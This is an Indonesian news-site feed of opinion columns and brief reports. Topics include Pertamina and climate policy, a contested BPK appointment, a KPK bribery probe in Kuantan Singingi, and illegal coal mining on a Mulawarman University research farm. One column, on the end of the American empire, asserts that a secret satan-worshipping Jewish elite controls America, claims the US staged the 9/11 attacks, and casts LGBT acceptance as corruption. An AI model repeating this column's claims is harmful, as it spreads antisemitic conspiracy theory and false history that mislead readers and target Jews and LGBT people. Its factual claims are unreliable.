Agenda mendesak Presiden Jokowi adalah menyelamatkan Pertamina dari para aktor perusak lingkungan. Oleh Salamuddin Daeng Mari belajar dari berbagai peristiwa paling penting di tanah air dalam masa pemerintahan Jokowi. Beberapa peristiwa tersebut adalah, pertama Presiden Jokowi tampaknya mau menuntaskan kasus Korupsi BLBI, namun tiba-tiba dihadang dengan Tim Perdata BLBI. Aneh jelas BLBI adalah masalah korupsi, kok bisa akan diselesaikan secara perdata. Di mana manaruh muka presiden di mata dunia? Padahal uang BLBi inilah yang paling berkontribusi merusak lingkungan pasca reformasi. Kedua, Presiden Jokowi mau menjalankan Mutual Legal Assitance (MLA) untuk menyita aset para koruptor yang disimpan di rekening rahasia di luar negeri, namun mereka lawan dengan Tax Amnesty Jilid 1 dan Jilid 2. Jelas yang mau disita negara itu adalah uang haram, hasil pencurian sumber daya alam dari Indonesia dan hasil korupsi di Indonesia, tentu saja ini bukan masalah perdata pajak yang bisa di-tax amnesty-kan. Padahal yang kotor inilah yang masuk menjarah SDA Indonesia dan berkontribusi besar merusak lingkungan. Ketiga, Presiden Jokowi mau menjalankan agenda perubahan iklim dengan menandatangani perjanjian perubahan iklim COP 21 Paris 2016 lalu. Akan tetapi mereka lawan dengan Pertamina, dengan proyek dan mega proyek dalam rangka melanjutkan kerusakan lingkungan, memanjakan para perusak hutan melalui Pertamina. Bagian ketiga ini akan saya jelaskan bagaimana mereka menjadikan Pertamina untuk.melawan Jokowi dalam menjalankan agenda perubahan Iklim? Sebagaimana diketahui bahwa isu iklim ini telah dimulai dengan isu kerusakan hutan di Indonesia. Seluruh dunia sudah bersepakat bahwa sumber kerusakam hutan Indonesia adalah sawit dan batubara. Presiden Jokowi mengetahui itu semua. Maka tahun 2016 presiden menandatangani dua upaya penting, yakni: Presiden Menandatangani MLA untuk menyita aset para bandit internasional hasil menjarah kekayaan alam Indonesia khususnya sawit dan batubara selama berpuluh puluh tahun dan menjadi penyebab utama kerusakan hutan dan lingkungan. Namun upaya presiden ini mereka hadang oleh tax amnesty. Siapa di balik tax amnesty, sementara Presiden sudah menandatangani MLA dan DPR sudah mengesahkan MLA menjadi UU. Lalu segera setelah menjadi presiden, Jokowi menandatangani kesepakatan perubahan iklim, untuk mengakhiri praktek penjarahan hutan, penjarahan sumber daya alam sawit dan batubara dan sekaligus mengakhiri supremasi para bandit. Namun hal ini dilawan dengan mega proyek sawit dan batubara melalui Pertamina, mengunakan sumber keuangan Pertamina. Bagian kedua ini akan saya jelaskan bagaimana Pertamina "diperas seperti handuk" oleh para bandar yang merupakan dalang kerusakan hutan Indonesia. Caranya dengan memaksakan proyek bio diesel mencampur solar dengan minyak sawit. Mereka memanipulasi situasi kepada presiden bahwa mencampur solar dengan minyak sawit sejalan dengan agenda iklim. Mana mungkin! Sawit adalah sumber kerusakan hutan yang paling dimusuhi dan solar adalah sumber masalah energi kotor bersubsidi yang ditenggarai digunakan dalam mobilisasi komoditas sawit dan batubara. Namun langkah ini telah berhasil memeras uang Pertamina dengan kewajiban membeli 9 juta kl sawit kepada para bandar sawit. Masalah para bandit SDA telah berhasil ubah menjadi masalah Pertamina dalam bidang lingkungan hidup sekarang. Tapi itu ternyata belum cukup, sekarang mereka tengah berusaha memanipulasi isu perubahan iklim dengan proyek, mega proyek gasifikasi batubara. Komoditas yang lagi dalam tekakan global yang merupakan sumber utama perubahan iklim, tengah menjadikan Pertamina sebagai bamper. Sekarang dengan gasifikasi maka masalah kerusakan lingkungan akibat ulah bandit batubara telah diubah menjadi masalah Pertamina. Besok Pertaminalah yang menjadi pembayar pajak perubahan iklim yang akan dipungut Sri Mulyani. Kena lagi Pertamina deh! Sekarang Jokowi sudah menjadi pemimpin dunia, untuk dua agenda besar dunia sekaligus yaitu memimpin organisasi G20 dan memimpin COP 26 Inggris, keduanya akan menentukan masa depan dunia, dan tentu saja masa depan para bandit sumber daya alam dan bandit keuangan Indonesia. Jadi bagaimana presiden Jokowi akan mengukir prestasi sebagai pemimpin dunia? *) Peneliti AEPI

MAKI Minta MA Tidak Melantik Nyoman Adhi Suryanyadna Sebagai Anggota BPK

Jakarta, FNN - Boyamin Saiman, Koordinator Masyarakat Anti Korupsi Indonesia (MAK) menyatakan bahwa pihaknya telah mendapat foto salinan Surat Keputusan Presiden tentang Peresmian Nyoman Adhi Suryanyadna sebagai anggota BPK menggantikan Bahrullah Akbar. Kepada FNN, Boyamin menegaskan bahwa MAKI kecewa dengan keluarnya SK Presiden tersebut. "MAKI menyayangkan terbitnya SK tersebut dikarenakan masih berlangsungnya gugatan di PTUN antara MAKI melawan Ketua DPR atas persoalan tidak sahnya pemilihan calon anggota BPK oleh DPR RI dikarenakan Nyoman Adhi Suryanyadna tidak memenuhi syarat formil sebagaimana ketentuan pasal 13 huruf J UU BPK," tegasnya Senin (1/11) di Surakarta. Semestinya lanjut Biyamin, Presiden tidak terburu-buru menerbitkan SK dan menunggu selesainya proses gugatan di PTUN. Boyamin menegaskan bahwa berdasarkan ketentuan UU BPK, anggota BPK setelah mendapat SK Presiden akan dilakukan pelantikan oleh Ketua Mahkamah Agung. Selanjutnya MAKI akan berkirim surat kepada ketua Mahkamah Agung untuk tidak melakukan pelantikan Nyoman Adhi Suryanyadna sebagai anggota BPK yang baru menggantikan Bahrullah Akbar. MA semestinya menghormati proses gugatan di PTUN yang saat ini berlangsung," pungkasnya. (sws)

Akhir Amerika Akan Sangat Mengerikan? Begini Kata Al Quran

Oleh Anwar Hudijono BETAPA imperium Amerika akan berakhir secara sangat mengerikan. Begitu bayangan banyak kalangan. Dan babak akhir itu sudah sangat dekat. Ibarat matahari kini mendekati garis cakrawala barat. Cahayanya temaram. Bahkan perhitungan waktu itu seperti dipercepat setelah keok melawan pasukan Jamiyah Mujahidin Taliban di Afghanistan. Seperti dalam pertandingan tinju, Amerika kalah dengan melempar handuk karena tidak sanggup lagi melanjutkan pertarungan. Lantas langsung meninggalkan ring dengan menangis. Berjalan sempoyongan. Mukanya ditekuk untuk menyembunyikan wajahnya yang bonyok babak belur. Nista dan hina. Merunut sejarah akhir imperium yang pernah ada seperti Yunani, Romawi, China, Mongol, Rusia yangtamatnya dimulai dengan proses perapuhan dan pembusukan dari dalam. Nah proses perapuhan dan pembusukan Amerika sudah banyak ditelaah oleh para ahli secara ilmiah.Misalnya, Nom Chomsky, Thomas Piketty, Jeffrey Sachs, Joseph Stiglitz, Chris Hedges, Francis Fukuyama, Fareed Zakaria, C Jon Delogu, Emmanuel Todd, Johan Galtung. Ada juga yang menyampaikan lewat film seperti Red Sparrow, The Social Dilemma, Amerikan History X. Pembaca yang ingin mendalami, silakan baca buku-buku penulis di atas. Juga bisa disimak di YouTube. Bisa searching di Google. Bagus juga nonton filmnya. Ini memang artikel opini jaman now. Tidak selalu menyuapi pembacanya. Tetapi mengajak pembacanya untuk mencari, berpikir, berkonstemplasi sehingga sama-sama menjadi musafir pencari ilmu. Berarti ibaratnya menjadi penyelam. Soalnya jaman kekinian betapa langkanya penyelam pencari ilmu. Kebanyakan orang memilih berselancar menari bergelak tawa di antara ombak. Ada juga yang memandang dengan perspektif nubuat. Amerika berpenduduk mayoritas Kekristenan. Kalangan tokoh Kekristenan ada yang berpandangan, dulunya Amerika dikenal melayani Yesus dan sebagai penyebar Kekristenan ke seluruh dunia. Tapi berbalik 180 derajat menjadi pelayan Anti-Christus. Ribuan gereja kosong. Yang masih ada pun dengan jamaan yang terus menipis. Amerika menjadi bagian pasukan Lucifer (Iblis) yang akan melawan tentara Tuhan dalam Harmageddon (perang terbesar akhir jaman). Akhirnya bisa dipastikan akan luluh lantak seperti serpihan jelaga ilalang yang diterbangkan angin. Pohon yang Buruk Pandangan saya atas fenomena imperium (kekaisaran) Amerika kini bertolak dari pemahaman saya atas ayat-ayat Al Quran. Karena ini hasil pemahaman saya, maka kebenarannya tetap relatif sesuai dengan keterbatasan akal pikiran saya. Adapun kebenaran Al Quran itu mutlak.Tingkat kebenaran pemahaman saya atas ayat Quran tidak sama dengan kebenaran ayat Quran itu sendiri. Rabbi a’lam (Tuhan Maha Tahu). Bagi saya imperium Amerika saat ini seperti apa yang dituliskan Quran surah Ibrahim ayat 26. “Dan perumpamaan kalimat yang buruk seperti pohon yang buruk, yang telah dicabut akar-akarnya dari permukaan bumi, tidak dapat (tegak) sedikitpun.” Pohon yang buruk ini kebalikan pohon yang baik (ayat 24). Pohon yang baik itu akarnya kuat dan cabangnya menjulang ke langit. Menghasilkan buahnya pada setiap waktu atas ijin Allah. Tuhan memberi banyak kelebihan terhadap Amerika. Kekayaan alam yang luar biasa. Sebagian penduduknya cerdas sehingga mampu menjadipionir kemajuan sains. Ibarat pohon yang tumbuh besar, bahkan menjadi terbesar. Tapi sayangnya yang merawat pohon ini Yakjuj dan Makjuj. Golongan fasad (membuat kerusakan di atas bumi). Maka menjadilah pohon yang buruk. Tentunya menghasilkan buah yang buruk pula. Menyebarkan fasad di atas bumi. Bukan sekadar kerusakan dalam arti fisik seperti hutan gundul, pencemaran udara. Tapi kerusakan bersifat substantif seperti paganisme (kekafiran), fasik, dhalim, syirik, sombong, takabur. Amerika menjajah. Menindas. Merampok. Membunuh. Menentang Tuhan. Mencampakkan nilai-nilai kemanusiaan. Mensahkan dan mengembangkang-biakkan LGBT. Memecah belah umat manusia. Menuhankan riba. Amerika menyebarkan terorisme. Bahkan Noam Chomsky menyebut Amerika itu teroris nomor satu dunia. Terorisme terbesar adalah ketika Amerika menjatuhkan nuklir (bom atom) di dua kota Jepang Hirosima dan Nagasaki tahun 1945 yang menewaskan rsatusan ribu jiwa. Penjatuhan nuklir di Hirosima didasari balasan atas hancurnya basis militernya di Perl Harbour, Hawaii oleh Jepang. Tapi Amerika membalas dengan menghancurkan fasilitas sipil. Ini sama sekali tidak adil. Adapun nuklir di Nagasaki adalah untuk uji coba nuklir yang berbahan plutonium. Sebab yang dijatuhkan di Hirosima itu nuklir berbahan uranium. Bayangkan nyawa manusia dijadikan uji coba senjata. Sangat sangat kejam dan menindas. Sejak itulah Amerika ditakuti oleh bangsa-bangsa di dunia. Yang ditakutkan bahwa sangat mungkin Amerika berbuat seperti di Hirosima dan Nagasaki. Menggenggam Bara Api Aksi terorisme diduga juga mereka lakukan pengeboman atau menabrakkan pesawat ke WTC, 11 September 2001. Mereka sebenarnya hanya meniru Kaisar Nero yang membakar kota Roma agar punya dalih membangun ibukota baru. Salah satu misi terselubung pengeboman WTC adalah untuk kepentingan industri militer. Untuk bisnis. Tapi yang dijadikan kambing hitam Islam. Inilah yang menyulut kebencian dan fobia terhadap Islam di seluruh dunia. Islam jadi musuh manusia sejagat. Islam diidentikkan dengan terorisme.Sampai-sampai banyak orang Islam sendiri yang alergi dan benci kepada agamanya. Takut menyandang identitas muslim dan menjalani syariat Islam seolah seperti harus menggenggam bara api. Amerika boleh dibilang menjadi pemimpin golongan mufsidun (melakukan perusakan di atas bumi). Amerika ibarat gugusan awan hitam gelap yang terus berupaya menutup cahaya matahari. Menjadi subyek dhulumat (kegelapan) yang berusaha menutup nur (cahaya) Ilahi. Amerika seperti drone (pesawat tanpa awak) yang dikendalikan oleh tangan yang misterius (invisible hand) yaitu Yakjuj dan Makjuj. Nah, siapa Yakjuj dan Makjuj itu? Mereka adalah elite Yahudi penyembah setan yang membentuk persekutuan rahasia. Keberadaan mereka sejak jaman Rasulullah Daud. Mereka berusaha merebut tahta Daud yang hendak diwariskan kepada Sulaiman. (Quran: As Shad 34). Tentang Yakjuj dan Makjuj dalam pemahaman mutakhir, insya Allah akan saya tulis di lain kesempatan. Semoga Allah meridhai. Yang jelas jika Amerika tetap diatur oleh Yakjuj dan Makjuj, akhir nasib sejarahnya bisa seperti bangsa-bangsa mufsidin seperti Yahudi, Ad, Tsamud, kaumnya Nabi Luth. “Tidakkah kamu memperhatikan orang-orang yang telah menukar nikmat Allah dengan ingkar kepada Allah dan menjatuhkan kaumnya ke lembah kebinasaan.” (Quran: Ibrahim 28). Dan ingat hukum Allah itu tetap. Tidak pernah mencla mencle. Gonta-ganti mengikuti pesanan dan bisa dibisniskan. “Hukum Allah yang telah berlaku sejak dulu, kamu sekali-kali tidak akan menemukan perubahan pada hukum Allah itu.”(Quran: Al Fath 23). Seluruh rakyat Amerika harus merenungkan,memikirkan babak akhir yang sangat mengerikan itu. Selagi masih ada waktu bertobat, berbenah dan menebus semua kesalahan. “Katakanlah, wahai hamba-hamba-Ku yang melampaui batas terhadap diri mereka sendiri. Janganlah kamu berputus asa dari rahmat Allah. Sesungguhnya Allah mengampuni dosa-dosa semuanya. Sungguh Dia yang Maha Pengampun, Maha Penyayang.” (Quran: Az Zumar 53). Astaghfirullah. Rabbi a’lam. Mohon dengan hormat telitilah tulisan ini. Jangan langsung like and share. Ini era disinformasi di mana informasi dapat menggelapkan hati manusia. Bahkan dapat menghancurkan suatu bangsa. Begitulah amanat Quran surah Al Hujurat 6. Penulis Veteran Wartawan dan Penulis Tinggal di Sidoarjo

Mabuk Kekuasaan

Oleh: Yusuf Blegur Seperti orang yang mabuk karena minuman alkohol atau kecanduan narkotika, ada satu titik atau momen saat orang itu memiliki kesadaran. Saat pengaruh alkohol dan narkotika yang dikonsumsinya selesai, seketika orang itu bebas dari rasa seperti kehilangan keseimbangan fisik dan psikis, penuh khayalan dan diselimuti halusinasi. Setidaknya orang itu terhindar dari perbuatan yang bisa membahayakan dan mencelakakan dirinya maupun orang lain, karena pengaruh mabuknya. Kesadaran yang penting yang membuatnya memiliki rasa malu dan kehormatan serta tidak merugikan dan berbuat dzolim kepada orang lain. Beda halnya dengan kekuasaan. Kalau ada seseorang atau sekelompok orang yang mabuk kekuasaan. Maka mereka akan sulit melepaskan diri dari pengaruh kekuasaan. Baik pada saat bernafsu menginginkannya, memilikinya atau saat kekuasan terlepas dari genggamannya. Lebih parahnya lagi, bagi orang yang mabuk kekuasan. Dampaknya tidak hanya berlaku bagi dirinya sendiri. Mabuknya bisa ikut dirasakan oleh lingkungan terdekatnya. Termasuk kawan, saudara dan keluarganya. Meskipun orang-orang dalam dan disekelilingnya tidak ada hubungannya. Pada akhirnya mereka semua ikut merasakan juga dan mengalami mabuk kekuasaan. Bahkan mabuknya terasa berkepanjangan. Terus terasa dan susah hilang hingga sampai ke anak cucu. Kalau rasa mabuk itu turun temurun dari generasi ke generasi. Maka yang terjadi adalah trah mabuk. Mabuk yang membentuk klan atau sindikat kekuasaan. Dalam istilah politik kekinian, mungkin itu yang disebut oligarki. Wanita, Harta dan Tahta Menyoal perempuan, harta dan jabatan. Meskipun semuanya diwanti-wanti atau diberi catatan khusus terhadap pengaruh dan dampaknya bagi kehidupan manusia. Baik perempuan, harta dan jabatan. Dalam kasus tertentu sering menimbulkan konflik dan kekacauan. Bahkan pembunuhan pertama di dunia terjadi karena dipicu seorang perempuan. Tidak hanya pada urusan negara, korelasinya juga bisa terjadi pada kehidupan organisasi, rumah tanggga dan pribadi seseorang. Bahkan bisa juga ikut merusak lingkungan alam semesta. Mabuk yang memiliki daya rusaknya begitu luas dan seperti mewabah. Banyak para pejabat dan pemimpin atau seseorang yang memiliki ranah mengurusi hajat orang banyak. Pernah terseret dan mengalami masalah yang pelik karena terlibat soal-soal tersebut. Bahkan ada empiris dan menjadi kaidah moral baik secara hukum positif maupun agama. Menegaskan kekuasan dan kehidupan manusia bisa jatuh dan hancur karena masalah perempuan, harta dan jabatan. Sebagai hasil dari penciptaan Allah Subhanahu wa ta'ala. Keberadaan perempuan, adanya harta dan jabatan. Semuanya pasti dibuat berdasarkan fungsi dan perannya. Tidak ada penciptaan apapun di muka bumi ini yang sia-sia. Sekecil apapun hingga yang tak terlihat kasat mata. Tanpa terkecuali ada maksud dan tujuannya. Apalagi jika bicara kehadiran perempuan. Sebagai contoh, sosok perempuan merupakan salah satu makhluk mulia yang diciptakan Allah Subhanahu wa ta' ala. Perempuan dapat dikatakan sebagai awal peradaban manusia. Apalagi jika seorang perempuan telah menjadi ibu. Ia memiliki tugas dan peran penting bagi kehidupan bermasyarakat, berbangsa dan bernegara. Begitu juga dengan kehadiran perempuan, harta dan jabatan. Pasti memiliki fungsi dan tujuan yang baik bagi kehidupan manusia. Layaknya memahami dualisme pada setiap manusia dan sesuatu atau benda. Maka berlaku juga pada penempatan dan eksistensi perempuan, harta dan jabatan tertentu. Keberadaannya secara fitrah bisa menghasilkan solusi dan bisa juga membawa distorsi. Selain digunakan pada hal yang tepat dan waktu sesuai kebutuhannya. Masalah kadar atau proporsinya juga sangat menentukan apakah menjadi maslahat atau mudharat. Begitupun dengan kekuasaan yang berorientasi pada perempuan, harta dan jabatan. Jika digunakan berlebihan dan dipaksakan. Ia hanya seperti orang mabuk. Orang yang mabuk kekuasaan dan menggunakannya tanpa kesadaran. Hanya akan menghasilan sesuatu yang tidak ideal. Keluar dari fungsi dan tidak bisa memberi bermanfaat , terlebih bagi khalayak. Bahkan dapat merugikan diri sendiri maupun orang lain. Kesalahan itu dapat menimbulkan kerusakan yang vital dan menyeluruh. Dalam hal memaknai dan menggunakan kekuasan yang berlebihan. Seseorang atau kelompok yang ada dalam kekuasaan. Dapat dipastikan kehilangan motivasi yang baik dan tujuan utamanya. Mabuk kekuasaan sejatinya memutus relasi harmonis Ketuhanan dan kemanusiaan. Kekuasaan menjadi tidak bermakna, kehilangan fungsi dan bahkan menjadi alat yang represif dan menindas. Demi kesenangan sesaat di dunia. Demi kepuasan sempit yang bakal menghimpitnya kelak. Demi mempertahankan kekuasaan yang suatu saat harus dipertanggungjawabkannya. Tidak sekedar menikmati fasilitas seperti kemudahan dan kemewahan hidup. Distorsi kekuasan menjadi sarana menumpuk kekayaan yang didapat bukan dari haknya. Apalagi sampai merampok hak rakyat dengan dalih dan siasat konstitusi. Kekuasan berwujud dari penyalahgunaan wewenang dan unjuk kekuatan. Lebih dari sekedar soal materil. Kekuasan juga mampu melakukan intervensi terhadap perilaku dan ruang gerak orang banyak. Mengatur dan memerintah kehidupan orang sampai ranah pribadi sesuai keinginannya. Dengan cara-cara memaksa, menggunakan kekerasan dan semua daya dukung kekuasaan yang melemahkan rakyat. Dari situlah kekuasaan menjelma menjadi tirani. Bertindak dan berperilaku diktator. Kekuasaan pada fase tertentu dipandang telah menjadi tujuan hidup banyak orang. Posisi itu dianggap sebagai pencapaian tertinggi dari keberadaan dan eksistensi seseorang atau kelompok. Kekuasaan ditempatkan menjadi cara paling prestisius dan berkelas untuk mendapatkan kenikmatan hidup. Kekuasaan tak ubahnya menjadi candu. Sesuatu yang begitu memabukkan. Bagaimanapun dan dengan segala cara dilakukan untuk meraih kekuasaan. Apalagi bagi yang pernah tahu, mendengar ataupun yang sudah pernah merasakannya. Mendapatkannya seperti menjadi keharusan. Banyak orang begitu bernafsu dan ingin berburu kekuasaan. Mungkin sensasinya melebihi kenikmatan saat merasakan alkohol dan narkotika. Kekuasaan yang menyebabkan rasa mabuk yang sesungguhnya. Mabuk yang tak terbatas dan sepanjang jaman. Menariknya. Begitu banyaknya orang gandrung dan mabuk pada kekuasaan. Orang semakin lalai dan tidak sadar. Bahwasanya kekuasaan itu cenderung korup. Semakin orang itu baik dan amanah, semakin takut ia mengemban jabatan. Kekuasaan merupakan harga yang harus dibayar mahal oleh siapapun yang mendudukinya, baik di pengadilan dunia dunia maupun pengadilan akherat. Bagaimana mungkin rasa mabuk kepayang itu bisa menghadirkan kemakmuran dan keadilan bagi rakyat?. Bagaimana mungkin rakyat bisa berharap dan mengantungkan hidupnya pada para pemimpin pemabuk itu?. Penulis, Pegiat Sosial dan Aktifis Yayasan Humam Luhur Berdikari.

KPK Minta Saksi Kasus Suap Bupati Kuansing Kooperatif

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) meminta saksi Franky Widjaja selaku Komisaris PT Adimulia Agrolestari agar kooperatif. Sebelumnya pada Kamis (28/10), KPK telah memanggil Franky sebagai saksi untuk tersangka Bupati Kuantan Singingi (Kuansing) nonaktif Andi Putra dan kawan-kawan dalam penyidikan kasus suap terkait perpanjangan izin hak guna usaha (HGU) sawit di Kabupaten Kuansing, Riau. "Tim penyidik KPK, Kamis (28/10) telah mengagendakan pemanggilan saksi untuk tersangka AP dan kawan-kawan, antara lain atas nama Franky Widjaja (Komisaris PT Adimulia Agrolestari). Informasi yang kami terima, yang bersangkutan meminta untuk dilakukan penjadwalan ulang," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Senin. KPK, kata Ali, mengimbau agar saksi Franky komitmen dan kooperatif hadir pada penjadwalan pemanggilan ulang berikutnya. KPK telah menetapkan Andi Putra bersama General Manager PT Adimulia Agrolestari Sudarso (SDR) sebagai tersangka. Dalam konstruksi perkara, KPK menjelaskan untuk keberlangsungan kegiatan usaha dari PT Adimulia Agrolestari yang sedang mengajukan perpanjangan HGU yang dimulai pada 2019 dan akan berakhir pada 2024, salah satu persyaratan untuk kembali memperpanjang HGU adalah dengan membangun kebun kemitraan minimal 20 persen dari HGU yang diajukan. Adapun lokasi kebun kemitraan 20 persen milik PT Adimulia Agrolestari yang dipersyaratkan tersebut terletak di Kabupaten Kampar, Riau, di mana seharusnya berada di Kabupaten Kuansing. Agar persyaratan tersebut dapat terpenuhi, Sudarso kemudian mengajukan surat permohonan kepada Andi Putra dan meminta kebun kemitraan PT Adimulia Agrolestari di Kampar disetujui menjadi kebun kemitraan. Selanjutnya, Sudarso dan Andi Putra bertemu. Andi Putra menyampaikan bahwa kebiasaan dalam mengurus surat persetujuan dan pernyataan tidak keberatan atas 20 persen Kredit Koperasi Prima Anggota (KKPA) untuk perpanjangan HGU yang seharusnya dibangun di Kabupaten Kuansing dibutuhkan minimal uang Rp2 miliar. Sebagai tanda kesepakatan, pada September 2021 diduga telah dilakukan pemberian pertama oleh Sudarso kepada Andi Putra uang sebesar Rp500 juta. Selanjutnya pada Oktober 2021, Sudarso diduga kembali menyerahkan uang sekitar Rp200 juta kepada Andi Putra. Sudarso selaku pemberi disangkakan melanggar Pasal 5 ayat (1) huruf a atau Pasal 5 ayat (1) huruf b atau Pasal 13 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. Sedangkan Andi Putra disangkakan melanggar Pasal 12 huruf (a) atau Pasal 12 huruf (b) atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001. (sws)

Kapolda Jateng Sebut Pentingnya Kolaborasi Media Massa Bersama Polri

Semarang, FNN - Kapolda Jawa Tengah Irjen Pol.Ahmad Luthfi menyebut pentingnya menjalin kolaborasi dan komunikasi dengan media massa dalam upaya akselerasi tugas pokok dan fungsi Polri. Hal tersebut disampaikan kapolda saat kunjungan kerja ke kantor Perum LKBN ANTARA Biro Jawa Tengah di Semarang, Senin. "Kunjungan ini sebagai review antara media massa dan Polri sebagai mitra komunikasi dan kolaborasi," katanya. Ia juga menyebut media massa sebagai fungsi kontrol sosial bagi kepolisian. Dengan demikian, lanjut dia, pemberitaan tentang pemeliharaan keamanan dan ketertiban masyarakat serta upaya-upaya penegakan hukum oleh Polri bisa tersampaikan secara luas kepada masyarakat. "Diharapkan masyarakat tidak terbebani berkaitan dengan kepastian hukum," tambahnya. Ia menegaskan jika terdapat pemberitaan tentang anggota Polri yang menyimpang, hal tersebut dilakukan oleh oknum dan bukan institusi. "Demikian pula kalau ada wartawan yang menyimpang, itu oknum," katanya. Sementara Kepala Perum LKBN ANTARA Biro Jawa Tengah Achmad Zaenal menyambut baik kunjungan kapolda tersebut. Ia juga mengapresiasi berbagai upaya yang sudah dilakukan Polri bersama pemangku kepentingan terkait, khususnya dalam menghadapi pandemi COVID-19. "Percepatan vaksinasi yang sudah dilakukan Polri bersama TNI, termasuk kondisi Jawa Tengah di masa pandemi ini yang relatif aman," katanya. (sws)

Muhaimin Pimpin Pelantikan Anggota DPR RI PAW

Jakarta, FNN - Wakil Ketua DPR RI Muhaimin Iskandar memimpin pelantikan lima anggota DPR RI Pengganti Antar-Waktu (PAW) dalam Rapat Paripurna DPR RI, Senin. Muhaimin memandu membacakan sumpah dan janji masa jabatan anggota DPR RI didampingi para Wakil Ketua DPR RI Rahmat Gobel dan Lodewijk Paulus. "Sebelum memangku jabatan anggota DPR RI, saudara wajib disumpah menurut agama masing-masing. Apakah saudara bersedia disumpah menurut masing-masing," kata Muhaimin. Lalu dijawab "bersedia" oleh kelima anggota DPR RI PAW tersebut. Muhaimin mengingatkan bahwa sumpah janji mengandung tanggung jawab terhadap bangsa dan negara Republik Indonesia. Menurut dia, sumpah dan janji tersebut memiliki tanggung jawab untuk menyelamatkan Pancasila dan UUD NRI 1945. "Sumpah dan janji terhadap Tuhan Yang Maha Esa dan manusia yang harus ditepati dengan keikhlasan dan kejujuran," ujarnya. Adapun 5 anggota DPR RI PAW yang dilantik adalah: 1.Diah Nurwitasari menggantikan Almarhum dr. H. Adang Sudrajat (Fraksi PKS- Dapil Jawa Barat II). 2. Paulus Ubrungge menggantikan Almarhum John Siffy Mirin (Fraksi PAN- Dapil Papua) 3. Aida Muslimah menggantikan Syafruddin H. Maming (Fraksi PDIP- Dapil Kalimantan Selatan II) 4. Harris Turino menggantikan Muhammad Prakosa (Fraksi PDIP- Dapil Jawa Tengah IX) 5.Novri Ompungsungu menggantikan Sulaiman Umar (Fraksi PDIP- Dapil Kalimantan Selatan II). (sws)

Unmul Laporkan Dugaan Tambang Ilegal di Kebun Percobaan Faperta

Samarinda, FNN - Sejumlah dosen Fakultas Pertanian dan Fakultas Hukum Universitas Mulawarwan Samarinda, Kalimantan Timur melaporkan secara resmi dugaan kegiatan pertambangan batubara ilegal di kawasan kebun percobaan Fakultas Pertanian Unmul di Kutai Kartanegara. "Kami mendapat mandat dari Rektorat Unmul untuk mendampingi pengaduan Fakultas Pertanian terkait kegiatan pertambangan batubara yang terjadi di kebun percobaan Fakultas Pertanian di kawasan Teluk Dalam, Kutai Kartanegara," kata Tim kuasa hukum Unmul, Mahendra Putra Kurnia dihubungi dari Samarinda, Senin. Dia mengatakan berkas pelaporan disampaikan kepada Polres Kutai Kartanegara diwakili oleh tujuh pengajar dari Fakultas Pertanian dan Fakultas Hukum dan turut mendampingi Dekan Fakultas Pertanian Unmul Prof. Dr. Ir Rusdiasyah, Msi. "Laporan kami telah diterima oleh bidang sentra pelayanan terpadu Polres Kutai Kartanegara," kata Mahendra. Dia menjelaskan pada laporan tertulis tersebut disampaikan kebun percobaan Teluk Dalam Fakultas Pertanian Universitas Mulawarman seluas 167.400 m2 dengan titik koordinat X= 510074.990 - 510910.808 mE dan Y= 9953846,804 - 9954072.962 mS berlokasi di Desa Karang Tunggal, Kecamatan Tenggarong Seberang, Kabupaten Kutai Kartanegara dengan tanda berupa patok batas dan pagar di sekitar area lahan. "Kami mendapatkan laporan dari Sofian, SP., M.Sc, selaku Kepala Kebun Percobaan Teluk Dalam Fakultas Pertanian Universitas Mulawarman, sejak tanggal 31 Agustus 2021 telah terjadi aktivitas penambangan batubara yang masuk dalam area Kebun Percobaan Laboratorium Lapangan Fakultas Pertanian Universitas Mulawarman," jelas Mahendra. Sebelum laporan resmi ini dibuat, lanjut Mahendra, Sofian telah melakukan komunikasi dan teguran beberapa kali kepada pelaku aktivitas penambangan batubara di lapangan, namun tidak ada tanggapan dari pelaku aktivitas pertambangan batubara tersebut. Dia menyampaikan atas kegiatan pertambangan tersebut telah menyebabkan kerusakan pada lahan Kebun Percobaan Teluk Dalam Fakultas Pertanian Universitas Mulawarman. "Kerusakan terjadi pada koordinat X = 510450.295 mE dan Y = 9953903,360 ms, yakni dengan hilangnya atau rusaknya tanda/patok batas dan pagar area kebun, serta rusaknya sebagian badan jalan di area Kebun Percobaan Teluk Dalam Fakultas Pertanian Universitas Mulawarman," beber Mahendra. Dia menjelaskan kegiatan pertambangan batubara dengan tanpa persetujuan pemegang hak atas tanah jelas bertentangan dengan Pasal 135 Undang-undang Nomor 4 Tahun 2009 tentang Pertambangan Mineral dan Batubara yang diubah dengan Undang-undang Nomor 3 Tahun 2020 tentang Perubahan atas Undang-undang Nomor 4 Tahun 2009 tentang Pertambangan Mineral dan Batubara dan lalu diubah kembali dengan Undang-undang Nomor 11 Tahun 2020 tentang Cipta Kerja, sedangkan Pasal 53 ayat (l) dan Pasal 98. Undang-undang Nomor 32 Tahun 2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup dan diubah dengan Undang-undang Nomor I l Tahun 2020 tentang Cipta Kerja Yang dengan tegas mewajibkan pelaku kerusakan lingkungan untuk melakukan penanggulangan kerusakan lingkungan dengan disertai ancaman pidana dan denda. "Kami menyampaikan laporan agar Kepolisian Resor Kutai Kartanegara dapat segera mengusut tuntas kegiatan pertambangan batubara yang dilakukan tanpa izin dan menimbulkan kerusakan lingkungan di Kebun Percobaan Teluk Dalam Fakultas Pertanian Universitas Mulawarman, sesuai dengan hukum yang berlaku," kata Mahendra. (sws)

Kampung 'Bersinar' Upaya Sumsel Berantas Narkoba

